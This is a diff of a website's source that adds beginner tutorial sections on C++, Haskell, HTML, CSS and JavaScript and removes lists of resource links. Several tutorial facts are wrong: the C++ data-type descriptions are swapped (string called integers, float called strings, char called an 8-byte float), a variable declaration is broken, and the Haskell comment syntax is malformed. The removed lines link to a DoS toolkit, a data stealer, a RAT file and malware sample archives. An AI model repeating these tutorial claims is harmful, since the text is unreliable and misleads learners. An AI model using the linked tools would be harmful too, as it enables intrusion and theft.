+    std&colon;&colon;string str = "codinghome"; 
+&rbrace; 
+</code>
+</pre>
                   </p>
-                  <h5>Computer Science</h5>
-                  <p>
-                    <a href="https://www.youtube.com/cs50">CS50 | Harvard University</a>
-                    <a href="https://www.youtube.com/channel/UC1szFCBUWXY3ESff8dJjjzw">Loi Liang Yang</a>
+                </div>
+                <div id="integers-4">
+                  <h3>Integers and Floating Point Numbers</h3>
+                  <p>Simply said, Integers are used for numbers without a decimal, and Float is used for numbers with decimals, <b>simply said</b>. There is more to that but we are keeping it simple. </p>
+
+<pre>
+<code> 
+#include &lt;iostream&gt;
+
+int main() &lbrace; 
+  // Declare an integer variable 
+  int num = 10; 
+
+  // Declare a floating-point variable float 
+  fnum = 10.5; 
+&rbrace; 
+</code>
+</pre>
+                </div>
+                <div id="print-4">
+                  <h3>Print</h3>
+                  <p> Printing an output to the terminal/console: </p>
+<pre>
+<code>
+#include &lt;iostream&gt;
+
+int main() &lbrace;
+  // Declare an integer variable
+  int num = 10;
+  // Declare a floating-point variable
+  float fnum = 10.5;
+  
+  std::cout &lt;&lt; "num: " &lt;&lt; num &lt;&lt; std::endl; // &lt;-- Prints the integer variable (variable num)
+  std::cout &lt;&lt; "fnum: " &lt;&lt; fnum &lt;&lt; std::endl; // &lt;-- Prints the floating point variable (variable fnum)
+  
+  return 0;
+&rbrace;
+</code>
+</pre>
+                </div>
+                <div id="data-4">
+                  <h3>Other Data Types</h3>
+                  <p>As previously listed:</p>
+                  <pre class="not-standalone"><code>string</code></pre> - Integers (whole number) (2 or 4 bytes).<br>
+                  <pre class="not-standalone"><code>int</code></pre> - floating point number (4 bytes).<br>
+                  <pre class="not-standalone"><code>float</code></pre> - Stores strings (Text) (use &apos;).<br><br>
+                  <p>But there are other data types in C++, such as:</p>
+                  <pre class="not-standalone"><code>double</code></pre> - Stores strings (Text) (use &quot;).<br>
+                  <pre class="not-standalone"><code>char</code></pre> - floating point number (8 bytes).<br>
+                  <pre class="not-standalone mb-2"><code>bool</code></pre> - true (1) or false (0) (1 byte).<br>
+                <br></div>
+                <div id="comments-4">
+                  <h3>Comments</h3>
+                  <p>Below is an example of comments.</p>
+<pre>
+<code>
+// This is a single line comment
+/*
+* This is a multi-line comment
+* that spans multiple lines
+*/
+</code>
+</pre>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="Haskell Basics" id="hs">
+          <Fragment slot="modal-content">
+            <div class="mb-3">
+              <a href="#haskellresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Haskell Resources</a>
+            </div>
+            <Scrollspy id="hs-basics-list" 
+              scrollcontent={[ 
+                { name: "Data Types" , href: "#data-5" }, 
+                { name: "Function Type Declartion" , href: "#ftd-5" }, 
+                { name: "Function Defintion" , href: "#fde-5" }, 
+                { name: "Functional Principles" , href: "#fpr-5" }, 
+                { name: "Comments" , href: "#com-5" }, 
+              ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="data-5">
+                  <h3>Data Types</h3>
+                  <p>In Haskell, types are how you describe the data your program will work with. Types can be simple, like:</p>
+                  <ul>
+                    <li>Bool: boolean True or False.</li>
+                    <li>Char: one character.</li>
+                    <li>Int: fixed-precision signed integer (usually 64-bit)</li>
+                    <li>Float / Double: floating-point values.</li>
+                  </ul>
+                  <p>Or, they can be composed with constructs, like:</p>
+                  <ul>
+                    <li>String: shortcut for [Char].</li>
+                    <li>[a] : list of <code>a</code>s (where a is a general type). </li>
+                    <li>(a, b) : tuple composed of <code>a</code> and <code>b</code>
+                    </li>
+                    <li>Just a : Maybe monad with the <code>Just</code> option </li>
+                  </ul>
+                </div>
+                <div id="ftd-5">
+                  <h3>Function Type Declaration</h3>
+                  <p>Haskell's functions will usually have 2 parts: a type declaration, and the implementation of the function itself (the type part can also be inferred):</p>
+<pre>
+<code> 
+-- type declaration 
+-- constraints =&gt; type -&gt; ... -&gt; returnType (the last type will always be the return type) 
+countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int
+-- implementation 
+countIns x = length . filter (== x)
+</code>
+</pre>
+                  <ul><li>Bool: boolean True or False.</li><li>Char: one character.</li><li>Int: fixed-precision signed integer (usually 64-bit)</li><li>Float / Double: floating-point values.</li>
+                  </ul>
+                  <p>Notice the type declaration has 2 types of "arrows": <code>=&gt;</code> and <code>-&gt;</code>. </p>
+                  <ul><li>=&gt; : used for giving additional context of what rules <code>a</code> should follow (in the example above, we see a should be part of the <code>Eq</code> class, which allows for comparison)</li><li>-&gt; : used for actually declaring the type of the function (in the above example, we see the first argument is <code>a</code>, a general, comparable type, then a list of as and then finally it outputs an <code>Int</code>eger)</li>
+                  </ul>
+                </div>
+                <div id="fde-5">
+                  <h3>Function Definition</h3>
+                  <p>Functions are defined similar to:</p> <pre class="not-standalone"><code>functionName argument(s) = expression</code></pre> <p>Haskell forces declarative style, so functions are (usually) composed of just an expression (always returns a value). </p>
+<pre><code> 
+-- type declaration 
+countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int 
+-- implementation 
+-- function args = expression 
+countIns x = length . filter (== x) 
+</code></pre>
+                </div>
+                <div id="fpr-5">
+                  <h3>Functional Principles</h3>
+                  <p>Haskell restricts to the functional paradigm, meaning Haskell enforces:</p>
+                  <ul><li><b>Immutability:</b> when the <code>data</code> has to be defined again for it to "change"</li><li><b>Purity:</b> functions must be pure, producing no side-effects (like modifying a global variable), and must be deterministic (<code>f(x) = y</code>, no matter when <code>f</code> is called)</li><li><b>Higher-order functions:</b> functions must be first-class, meaning they can be passed as arguments to other functions. This allows for higher-order functions. which take a function and other data and apply the function to the data in different ways.</li><li><b>Disciplined state </b> trying to minimize the use of mutable state and trying to make it local when possible.</li>
+                  </ul>
+                </div>
+                <div id="com-5">
+                  <h3>Comments</h3>
+                  <p>In-line comments are made with <code>--</code> and block comments with <code>&lbrace;- -&rbrace;</code>: </p>
+<pre>
+<code>
+-- inline
+commentHere = False &lbrace;
+- block commentHere = True -&rbrace; 
+</code>
+</pre>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="HTML Basics" id="html">
+          <Fragment slot="modal-content">
+            <div class="mb-3">
+              <a href="#webresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Web Resources</a>
+            </div>
+            <Scrollspy id="html-basics-list"
+              scrollcontent={[
+                { name: "Example Document", href: "#example-6" },
+                { name: "HTML Headings", href: "#head-6" },
+                { name: "HTML Paragraphs", href: "#text-6" },
+                { name: "HTML Links", href: "#links-6" },
+                { name: "HTML Images", href: "#img-6" },
+              ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="example-6">
+                  <h3>Example Document</h3>
+<pre>
+<code>
+&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;h1&gt;My first Heading&lt;/h1&gt;
+    &lt;p&gt;My first paragraph&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</code>
+</pre>
+                  <p>The <code>&lt;!DOCTYPE&gt;</code> declaration represents the document type, and helps browsers to display web pages correctly. It must only appear once, at the top of the page (before any HTML tags). The <code>&lt;!DOCTYPE&gt;</code> declaration is not case sensitive. </p>
+                </div>
+                <div id="head-6">
+                  <h3>HTML Headings</h3>
+                  <p>HTML headings are defined with the <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code> tags.
+                  <code>&lt;h1&gt;</code>defines the most important heading. <code>&lt;h6&gt;</code> defines the least important heading:<br>
+                  <code>&lt;h1&gt;Big&lt;/h1&gt;</code> <br>
+                  <code>&lt;h6&gt;Small&lt;/h6&gt;</code> </p>
+                </div>
+                <div id="text-6">
+                  <h3>HTML Paragraphs</h3>
+                  <p>HTML paragraphs are defined with the <code>&lt;p&gt;</code> tag:
+<pre>
+<code>
+&lt;p&gt;This is a paragraph.&lt;/p&gt;<br>
+&lt;p&gt;This is another paragraph.&lt;/p&gt;
+</code>
+</pre>
                   </p>
-                  <h5>Web Development</h5>
+                </div>
+                <div id="links-6">
+                  <h3>HTML Links</h3>
+                  <p>HTML links are defined with the &lt;a&gt; tag:<br>
+                  <pre><code>&lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;</code></pre></p>
+                </div>
+                <div id="img-6">
+                  <h3>HTML Images</h3>
+                  <p>HTML images are defined with the &lt;img&gt; tag. The source file (src), alternative text (alt), width, and height are provided as attributes:<br>
+                  <pre><code>&lt;img src="example.jpg" alt="example.com" width="104" height="142"&gt;</code></pre></p>
+                </div> 
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="CSS Basics" id="css">
+          <Fragment slot="modal-content">
+            <div class="d-flex flex-wrap gap-2 mb-3">
+              <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics" target="_blank" rel="noreferrer noopener" class="btn btn-info">Source (Mozilla)</a>
+              <a href="#webresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Web Resources</a>
+            </div>
+            <Scrollspy id="css-basics-list"
+            scrollcontent={[
+              { name: "Example Document", href: "#example-7" },
+              { name: "CSS Rulesets", href: "#rules-7" },
+              { name: "Selectors", href: "#selectors-7" },
+              { name: "Classes", href: "#classes-7" },
+              { name: "Text Elements", href: "#text-7" },
+              { name: "Padding Elements", href: "#pad-7" },
+              { name: "Color Elements", href: "#color-7" },
+              { name: "Comments", href: "#com-7" },
+              { name: "Extra: Centering Images", href: "#eci-7" },
+            ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="example-7">
+                  <h3>Example Document</h3>
+<pre class="m-0">
+<code>
+h1 &lbrace;
+  color&colon; black;
+  text-align&colon; center;
+  font-size&colon; 26px;
+  font-family&colon; verdana;
+&rbrace;
+</code>
+</pre>
+<pre><code>&lt;p style="font-size:10px"&gt;</code></pre>
+                  <p>To put CSS files in HTML, use:</p>
+                  <pre><code>&lt;link rel="stylesheet" href="style.css"&gt;</code></pre>
+                  <p>To put CSS code in HTML, use:</p>
+<pre>
+<code>
+&lt;style&gt;
+  .class &lbrace;
+    color: red;
+  &rbrace;
+&lt;/style&gt;
+</code>
+</pre>
+                </div>
+                <div id="rules-7">
+                  <h3>CSS Rulesets</h3>
                   <p>
-                    <a href="https://www.youtube.com/@KevinPowell">Kevin Powell <a href="https://www.youtube.com/@WebDevSimplified">Web Dev Simplified</a>
-                    <a href="https://www.youtube.com/@thewebsitearchitect">The Website Architect</a>
-                    <a href="https://www.youtube.com/@javascriptmastery">Javascript Mastery - YT</a>
-                    <a href="https://www.jsmastery.pro/">Javascript Mastery - Website</a>
-                  </p>
-                  <h5>Networks/Cybersecurity</h5>
+                  </p><div class="d-flex"><div class="col-4"><p>Selector</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">p &lbrace; </code></pre></div></div></div>
+                  <div class="d-flex"><div class="col-4"><p>Property</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">  color&colon; red; </code></pre></div></div></div>
+                  <div class="d-flex"><div class="col-4"><p>Declaration</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">&rbrace;</code></div></div></div>  
+                  <p></p>
+                  <p><b>Properties</b> - With these, you can style a HTML element, like for example; color. <br>
+                  <b>Property Value</b> - This chooses one of the possible options for a given property, like red for color.</p>
+                  <p>You can also write CSS like:</p> 
+                  <pre><code>html&lbrace;color&colon;red;&rbrace;</code></pre>
+                  <p>You can also put styles in HTML elements:</p>
+                  <pre><code>&lt;h1 style="font-color:white;"&gt;</code></pre>
+                  <p>You can also select multiple elements with commas at once like...</p>
+<pre>
+<code>
+h1, h4, h6, h2 &lbrace;
+  color&colon; red;
+&rbrace;
+</code>
+</pre><br><br>
+                </div>
+                <div id="classes-7">
+                  <h3>Classes</h3>
+                  <p>Think of classes like custom HTML elements, they can be applied in HTML:</p>
+                  <pre><code>&lt;p class="text-red"&gt;</code></pre>
+                  <p>Classes begin with a dot or period (.) to begin the selector.</p>
+<pre>
+<code>
+.text-red &lbrace;
+  color&colon; red;
+&rbrace;
+</code>
+</pre><br><br>
+                </div>
+                <div id="selectors-7">
+                  <h3>Selectors</h3>
+                  <p>There are more ways to select elements and classes apart from their name. Here's some common ones:</p>
+                  <pre class="not-standalone"><code>&colon;hover</code></pre> - Applies the CSS rules if the element is selected.<br>
+                  <pre class="not-standalone"><code>&colon;first-child</code></pre> - Selects the first child element if it is inside a parent element.<br>
+                  <pre class="not-standalone"><code>&colon;last-child</code></pre> - Selects the last child element if it is inside a parent element.<br>
+                  <pre class="not-standalone"><code>&colon;nth-child(n)</code></pre> - Selects elements based on position, replace <code>n</code> with a number.<br>
+                  <pre class="not-standalone"><code>&colon;focus</code></pre> - Selects elements if it is focused, usually by using the <code>TAB</code>. <br>
+                  <pre class="not-standalone"><code>&colon;has(+ element)</code></pre> - Selects the element if the selected element is before it.<br><br>
+                </div>
+                <div id="text-7">
+                  <h3>Text Elements</h3>
+                  <pre class="not-standalone"><code>font-size&colon; 10px;</code></pre> - Text size, can be in pixels.<br>
+                  <pre class="not-standalone"><code>font-family&colon; verdana;</code></pre> - Fonts<br>
+                  <pre class="not-standalone"><code>text-align&colon; center;</code></pre> - Can align to the left side, right side, or in the center of the webpage. <br>
+                  <pre class="not-standalone"><code>text-shadow&colon; 3px black</code></pre> - Shadow of text. It can be in pixels and colors.<br><br>
+                </div>
+                <div id="pad-7">
+                  <h3>Padding Elements</h3>
+                  <pre class="not-standalone"><code>padding-top&colon; 50px;</code></pre> - Separation. It can be top, left, right, and bottom in pixels.<br>
+                  <pre class="not-standalone"><code>margin&colon; 50px;</code></pre> - A margin. It can be in pixels.<br>
+                  <pre class="not-standalone"><code>border-width&colon; 5px;</code></pre> - Border width. Can be thin, medium, thick, or just pixels.<br>
+                  <pre class="not-standalone"><code>border-style&colon; dotted;</code></pre> - Border style. Can be dotted, dashed, solid, double, groove, ridge, inset, outset, none, or hidden. Can also be colored.<br>
+                  <pre class="not-standalone"><code>width=500px;</code></pre> - Width of the element. It can be pixels or percentages.
+                </div>
+                <div id="color-7">
+                  <h3>Color Elements</h3>
+                  <p><pre class="not-standalone"><code>color&colon; red;</code></pre> - The color of the element, can be hexadecimal, or RGB.<br>
+                    <pre class="not-standalone"><code>background-color&colon; white;</code></pre> - Background color of the element.<br><br>
+                </div>
+                <div id="com-7">
+                  <h3>Comments</h3>
+                  <p>Comments are commonly used to explain the code and may help when you edit the source code later and are ignored by browsers.
+                  <br><br>
+                  A CSS comment starts with <code>/*</code> and ends with <code>*/</code>, and no changes are needed to make it multiple lines.</p>
+<pre>
+<code>
+/* This is a single-line comment */
+
+/* This is
+a multi-line
+comment */
+</code>
+</pre><br><br>
+                </div>
+                <div id="eci-7">
+                  <h3>Extra: Centering Images</h3>
+<pre>
+<code>
+img &lbrace;
+  margin&colon; 0 auto;
+  display&colon; block;
+&rbrace;
+</code>
+</pre>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="JavaScript Basics" id="js">
+          <Fragment slot="modal-content">
+            <Scrollspy id="js-basics-list"
+            scrollcontent={[
+              { name: "Including JavaScript in an HTML Page", href: "#html-8" },
+              { name: "Call an External JavaScript File", href: "#call-8" },
+              { name: "Including Comments", href: "#com-8" },
+              { name: "Variables", href: "#var-8" },
+              { name: "Data Types", href: "data-8" },
+            ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="html-8">
+                  <h3>Including JavaScript in an HTML Page</h3>
                   <p>
-                    <a href="https://www.youtube.com/@NetworkChuck">NetworkChuck</a>
+<pre>
+<code>
+&lt;script type="text/javascript"&gt;
+  //JS code goes here 
+&lt;/script&gt; 
+</code>
+</pre>
                   </p>
-                  <h5>Indie App Development</h5>
+                </div>
+                <div id="call-8">
+                  <h3>Call an External JavaScript File</h3>
                   <p>
-                    <a href="https://www.youtube.com/@craftzdog">Takuya Matsuyama</a>
-                    <a href="https://www.youtube.com/@devaslife">DevAsLife</a>
+<pre>
+<code>
+&lt;script src="myscript.js"&gt;&lt;/script&gt;
+</code>
+</pre>
                   </p>
-                  <h5>NeoVim Usage</h5>
+                </div>
+                <div id="com-8">
+                  <h3>Including Comments</h3>
+                  <p>Single line comments - <code>// Comment</code> <br>
+                  Multi-line comments - <code>/* comment here */</code></p>
+                </div>
+                <div id="var-8">
+                  <h3>Variables</h3>
                   <p>
-                    <a href="https://www.devas.life/effective-neovim-setup-for-web-development-towards-2024/">Takuya Matsuyama</a>
+                  <code>var, const, let</code><br>
+                  <code>var</code> — The most common variable. It can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
+                  <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
+                  <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
                   </p>
-                </Fragment>
-              </AccordionItem>
-              <AccordionItem title="Hacking Resources" id="hackingresources" parent="resourcesAccordion">
-                <Fragment slot="accordion-item-content">
-                  <h4>Hacking Resources</h4>
+                </div>
+                <div id="data-8">
+                  <h3>Data Types</h3>
                   <p>
-                    <a href="https://www.youtube.com/watch?v=mPVG3tXjMgI">Making the Hacker Mindset</a>
-                    <a href="https://hackingthe.cloud">Hacking The Cloud</a>
-                    <a href="https://hacktricks.xyz">HackTricks</a>
-                    <a href="https://trickest.com/">Trickest</a>
-                    <a href="https://www.hackthebox.com/">HackTheBox</a>
-                    <a href="http://picoctf.com">CTF Hacking for Beginners</a>
-                    <a href="http://www.liveoverflow.com">LiveOverflow</a>
-                    <a href="https://malapi.io">Malapi</a>
-                    <a href="https://unprotect.it">Unprotect Project</a>
-                    <a href="https://0dayfans.com/">0DayFans</a>
-                    <a href="/media/files/MOOCs_Courses_Download_Access_To_500_Courses.txt">MOOC Courses</a>
-                    <a href="https://cheat.sh">Cheat.sh Repos</a>
-                    <a href="https://thehackerdev.com/windows-api-function-naming-convention">Windows API Function Naming Convention</a>
-                    <a href="https://www.youtube.com/watch?v=5g137gsB9Wk">File Path Race Condition & How To Prevent It - bin 0x31 (LiveOverflow)</a>
-                    <a href="http://www.insecam.org">InSeCam</a>
-                    <a href="https://tools.intigriti.io/redirector/">Open Redirector/SSRF Payload Generator</a>
-                    <a href="https://uops.info/table.html">CPU/IP Table</a>
-                    <a href="https://journal.opendataplayground.com/cyberhack-2023/">CyberHack 2023</a>
-                    <a href="https://gtfobins.github.io/">List of UNIX Binaries for Priv Escalation</a>
-                    <a href="https://pwk.hide01.ir/">Linux & Bash Hacking</a>
-                    <a href="https://gchq.github.io/CyberChef/">CyberChef</a>
-                    <a href="https://app.any.run/">Hacking Stats</a>
-                    <a href="https://pastebin.com">PasteBin</a>
-                    <a href="https://pastebin.com/pApryWbx">Hijack URLS</a>
-                    <a href="https://spidersuite.github.io">Developing CyberSecurity Solutions</a>
-                    <a href="https://zer1t0.gitlab.io/posts/attacking_ad/">Attacking Ad</a>
-                    <a href="https://cyber.bgu.ac.il/new-malware-jumps-air-gapped-devices-by-turning-power-supplies-into-speakers/">Power Supplies to Speakers</a>
-                    <a href="https://cyber.bgu.ac.il/advanced-cyber/airgap">AirGap</a>
-                    <a href="https://fccid.io/">FCC ID Database</a>
-                    <a href="https://sploitus.com">Sploitus</a>
-                    <a href="https://reddit.com/r/netsec">r/netsec</a>
-                    <a href="https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list">OSINT start.me 1</a>
-                    <a href="https://start.me/p/L1rEYQ/osint4all">OSINT start.me 2</a>
-                    <a href="https://youtu.be/S9JGmA5_unY">How Secure is 256-bit Security?</a>
-                    <a href="https://youtu.be/nFZm4sVsPXk?si=7J_GzfZe-UOqic4b">TailOS Setup</a>
-                    <a href="https://youtu.be/PbVaagSWzgM">Hijacking account with Open Redirect in OAuth 2.0 - Stealing Access Tokens</a>
-                    <a href="https://youtu.be/09hrHtBLVeA">Discovering API and Analyzing Endpoints Using Postman and Browser w/ crAPI</a>
-                    <a href="https://youtu.be/Op6QvVMj4fw">Exploiting SQL Injection in GraphQL</a>
-                    <a href="https://www.youtube.com/watch?v=JbEPJv7Ybcs">Learn before CyberSecurity</a>
-                    <a href="https://www.youtube.com/watch?v=Mt4PYoyiqB0">Tips before CyberSecurity</a>
-                    <a href="https://youtu.be/In-XF5sY1Yo">Graphql Endpoint Analysis</a>
-                    <a href="https://youtube.com/playlist?list=PL4wZd4YK_64FeEvmdSkORNRLrgS5DavgT">WireShark Videos</a>
-                    <a href="https://anonfiles.com/eby53a7by7/Dhop.py">Win10 VM Rat</a>
-                    <a href="/media/files/SPOILER_VirusShare_00e8704830ff0331d16f7d392b2efcbd.zip">Analyzing Data 1</a>
-                    <a href="/media/files/SPOILER_VirusShare_00ee48b8a32ce81fd8ebfc33cf36d9c2.zip">Analyzing Data 2</a>
-                    <a href="/media/files/SPOILER_VirusShare_b4027a690167090b8c9eb5bc4a507742.zip">Analyzing Data 3</a>
+                  Numbers — <pre class="not-standalone"><code>var age = 23</code></pre> <br>
+                  Variables — <pre class="not-standalone"><code>var x</code></pre><br>
+                  Text (strings) — <pre class="not-standalone"><code>var a = "init"</code></pre><br>
+                  Operations — <pre class="not-standalone"><code>var b = 1 + 2 + 3</code></pre><br>
+                  True or false statements — <pre class="not-standalone"><code>var c = true</code></pre><br>
+                  Constant numbers — <pre class="not-standalone"><code>const PI = 3.14</code></pre><br>
+                  Objects — <pre class="not-standalone"><code>var name = &lbrace;firstName&colon; "John", lastName&colon; "Doe"&rbrace;</code></pre>
                   </p>
-                  <Accordion parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-content">
-                      <AccordionItem title="Network Attack" id="networkattack" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Network Attack</h5>
-                          <p>
-                            <a href="https://crypto.stanford.edu/cs155old/cs155-spring11/lectures/08-tcp-dns.pdf">Stanford</a>
-                            <a href="https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c21.pdf">Cambridge</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Network Fundamentals" id="networkfundamentals" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Network Fundamentals</h5>
-                          <p>
-                            <a href="https://www.youtube.com/playlist?list=PLIFyRwBY_4bRLmKfP1KnZA6rZbRHtxmXi">Old-Fashioned</a>
-                            <a href="https://www.youtube.com/playlist?list=PLDQaRcbiSnqF5U8ffMgZzS7fq1rHUI3Q8">Modern</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Obfuscating Programs" id="obfuscatingpro" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Obfuscating Programs</h5>
-                          <p>
-                            <a href="https://crates.io/crates/secmem-proc">Process Hardening</a>
-                            <a href="https://crates.io/crates/debugoff">Debug Off</a>
-                            <a href="https://crates.io/crates/goldberg">GoldBerg</a>
-                            <a href="https://crates.io/crates/cryptify">Cryptify</a>
-                            <a href="https://crates.io/crates/encrust">Mem Encrytion</a>
-                            <a href="https://crates.io/crates/stronghold-runtime">Stronghold-Runtime</a>
-                            <a href="https://crates.io/crates/Hela">Hela</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="CTF/RE Resources & Challenges" id="ctfreresources" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>CTF/RE Resources & Challenges</h5>
-                          <p>
-                            <a href="https://411hall.github.io/assets/files/CTF_template.ctb">CherryTree Template for CTF Enumeration</a>
-                            <a href="https://ctf101.org/">CTF Compact Guide</a>
-                            <a href="https://ctftime.org/">CTF Events</a>
-                            <a href="https://ctftime.org/ctf-wtf/">CTF Learning 1</a>
-                            <a href="http://ctflearn.com/">CTF Learning 2</a>
-                            <a href="http://captf.com/practice-ctf/">CTF Challenges</a>
-                            <a href="https://reverse.put.as/crackmes/">Reverse Engineering</a>
-                            <a href="https://challenges.re/">RE Challenges</a>
-                            <a href="https://breachdirectory.tk">RE BreachDirectory</a>
-                            <a href="http://pwnable.tw/">pwnable.tr</a>
-                            <a href="http://reversing.kr/">Challenge 1</a>
-                            <a href="https://w3challs.com/">Challenge 2</a>
-                            <a href="https://pwn0.com">Challenge 3</a>
-                            <a href="https://w3challs.com/">Challenge 4</a>
-                            <a href="https://io.netgarage.org/">Challenge 5</a>
-                            <a href="http://ringzer0team.com/">Challenge 6</a>
-                            <a href="http://www.hellboundhackers.org/">Challenge 7</a>
-                            <a href="http://www.overthewire.org/wargames/">Challenge 8</a>
-                            <a href="http://counterhack.net/Counter_Hack/Challenges.html">Challenge 9</a>
-                            <a href="http://www.hackthissite.org/">Challenge 10</a>
-                            <a href="http://vulnhub.com/">Challenge 11</a>
-                            <a href="http://ctf.komodosec.com">Challenge 12</a>
-                            <a href="https://maxkersten.nl/binary-analysis-course/">Challenge 13</a>
-                            <a href="https://pwnadventure.com">Challenge 14</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="GitHub Resources" id="githubresources" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>GitHub Resources</h5>
-                          <p>
-                            <a href="https://github.com/SkyPenguin-Solutions/SkyLine">CyberSecurity Programming Language</a>
-                            <a href="https://github.com/bmullan/CIAB.Full-Mesh.VPN.Wireguard.FRR.BGP.VXLAN.Internet.Overlay.Architecture">Cloud In A Box (CIAB)</a>
-                            <a href="https://github.com/LimerBoy/Impulse">Impulse (DoS Toolkit)</a>
-                            <a href="https://github.com/oracio-tech/doenerium">Data Stealer</a>
-                            <a href="https://github.com/lukasbalazik123/mantua">AntiDebug, AntiVM, AntiAV C Linux Library</a>
-                            <a href="https://github.com/eric-therond/webunpack">Vulnerable Module Detector</a>
-                            <a href="https://github.com/ffuf/ffuf">Web Fuzzer (Go)</a>
-                            <a href="https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice">OSCP Training</a>
-                            <a href="https://github.com/OlivierLaflamme/Cheatsheet-God">OSCP/PTP/PTX Cheatsheet</a>
-                            <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning">Voice Cloning</a>
-                            <a href="https://github.com/uppusaikiran/awesome-cctf-cheatsheet">CTF Cheatsheet</a>
-                            <a href="https://github.com/Voorivex/pentest-guide">Pentest Guide</a>
-                            <a href="https://github.com/sctreaak/keyhacks">KeyHacks</a>
-                            <a href="https://github.com/TomNomNom">TomNomNom</a>
-                            <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payloading</a>
-                            <a href="https://github.com/bee-san/pyWhat">pyWhat</a>
-                            <a href="https://github.com/martinmarinov/TempestSDR">TempestSDR</a>
-                            <a href="https://github.com/SaumyajeetDas/GodGenesis">GodGenesis</a>
-                            <a href="https://github.com/rly0nheart/osinteye">OSINTeye</a>
-                            <a href="https://github.com/r4wd3r/Suborner">Suborner</a>
-                            <a href="https://github.com/whoami15/FBI-Tools">FBI Tools</a>
-                            <a href="https://github.com/secgroundzero/CS-Aggressor-Scripts">Aggressor Scripts 1</a>
-                            <a href="https://github.com/Und3rf10w/Aggressor-scripts">Aggressor Scripts 2</a>
-                            <a href="https://github.com/harleyQu1nn/AggressorScripts">Aggressor Scripts 3</a>
-                            <a href="https://github.com/rasta-mouse/Aggressor-Script">Aggressor Scripts 4</a>
-                            <a href="https://github.com/RhinoSecurityLabs/Aggressor-Scripts">Aggressor Scripts 5</a>
-                            <a href="https://github.com/bluscreenofjeff/AggressorScripts">Aggressor Scripts 6</a>
-                            <a href="https://github.com/001SPARTaN/aggressor_scripts">Aggressor Scripts 7</a>
-                            <a href="https://github.com/360-A-Team/CobaltStrike-Toolset">CobaltStrike Toolset for Aggressor Scripts</a>
-                            <a href="https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont">CICDont</a>
-                            <a href="https://hackingthe.cloud/aws/capture_the_flag/cicdont/">CICDont Capture the Flag</a>
-                            <a href="https://github.com/b1-team/superma">Superma</a>
-                            <a href="https://github.com/3nock/SpiderSuite">SpiderSuite</a>
-                            <a href="https://github.com/struppigel/PortexAnalyzerGUI">Portex Analyzer GUI</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Medium Resources" id="mediumresources" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Medium Resources</h5>
-                          <p>
-                            <a href="https://medium.com/@rickarentsen/rock-paper-scissors-game-made-with-tkinter-with-python-e4003f697e0c">Rock Paper Scissors (Python Tutorial)</a>
-                            <a href="https://medium.com/@rickarentsen/5-interesting-facts-about-the-internet-b78b656f1a63 feedback is appreciated">5 Internet Facts</a>
-                            <a href="https://medium.com/@viveik.chauhan/blind-remote-code-execution-b9c4e119f7c3">Blind Remote Code Execution</a>
-                            <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-1-concepts-e00cb1352301">Elf Binary Mangling (Part 1)</a>
-                            <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-pt-2-golfin-7e5c82bb482c">Elf Binary Mangling (Part 2)</a>
-                            <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-3-weaponization-6e11971108b3">Elf Binary Mangling (Part 3)</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Almond Force Videos" id="almondforce" parent="hackingresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Almond Force Videos</h5>
-                          <p>
-                            <a href="https://www.youtube.com/watch?v=LNnVlwWDe-M&list=PLUrAjkLbvTpJmHslr1BljYnm5Lnuug9jF">BCACTF 3</a>
